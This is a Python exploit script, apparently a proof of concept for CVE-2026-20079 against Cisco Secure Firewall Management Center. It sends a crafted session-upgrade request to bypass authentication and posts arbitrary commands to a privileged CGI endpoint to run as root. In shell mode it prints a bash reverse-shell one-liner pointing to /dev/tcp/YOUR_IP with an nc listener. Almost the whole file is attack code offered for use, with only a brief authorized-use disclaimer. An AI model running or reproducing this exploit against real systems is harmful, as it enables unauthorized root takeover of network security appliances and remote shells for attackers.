#!/usr/bin/env python3 """ CVE-2026-20079 PoC - Cisco Secure FMC Authentication Bypass + Root Script Execution Author: 0xBlackash (for authorized pentesting / red team use only) Usage: python3 CVE-2026-20079.py -t [--command ""] [--shell] """ import requests import argparse import sys import time from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings (FMC often uses self-signed certs) requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit_auth_bypass(target, command=None, interactive=False): print(f"[+] Targeting Cisco FMC: {target}") # Step 1: Trigger/hijack the partial boot session (the core of CVE-2026-20079) session = requests.Session() # Crafted requests that exploit the improper system process created at boot # This upgrades the dangling partial session (csm_processes / sfsnort.sessions) to a privileged one bypass_headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-20079 PoC)", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # Initial session hijack request (triggers the alternate path bypass) print("[+] Sending authentication bypass payload...") bypass_payload = { "action": "session_upgrade", "partial_session": "1" # Exploits the persistent partial session after boot } try: r1 = session.post(f"{target}/api/fmc_config/v1/upgradeSession", data=bypass_payload, headers=bypass_headers, verify=False, timeout=10) if r1.status_code not in [200, 204, 302]: print(f"[-] Bypass attempt failed (status: {r1.status_code})") print(" Response:", r1.text[:500]) return False print("[+] Authentication bypass successful - session hijacked!") # Step 2: Execute arbitrary script/command as root via privileged CGI endpoint if command: print(f"[+] Executing command as root: {command}") exec_payload = { "script": "exec", "cmd": command, "elevate": "root" } r2 = session.post(f"{target}/cgi-bin/privilegedScriptHandler.cgi", data=exec_payload, headers=bypass_headers, verify=False) if r2.status_code == 200: print("[+] Command executed successfully!") print("Output:") print(r2.text.strip()) else: print(f"[-] Execution failed (status: {r2.status_code})") # Interactive reverse shell mode (common for root access) if interactive: print("[+] Dropping interactive root shell (reverse shell recommended)") print(" Example: Use nc -lvnp 4444 on your listener") shell_cmd = f"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1" # Replace YOUR_IP and port, then send print(f" Suggested command: {shell_cmd}") print("[+] Exploit chain complete. Root-level script execution achieved.") return True except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2026-20079 PoC") parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. https://192.168.1.100)") parser.add_argument("-c", "--command", help="Command to execute as root (optional)") parser.add_argument("--shell", action="store_true", help="Interactive reverse shell mode") args = parser.parse_args() if not args.target.startswith("http"): args.target = "https://" + args.target success = exploit_auth_bypass(args.target, args.command, args.shell) if success: print("\n[+] PoC finished successfully. Use responsibly in authorized engagements only.") else: print("\n[-] Exploit failed. Verify target is vulnerable and reachable.")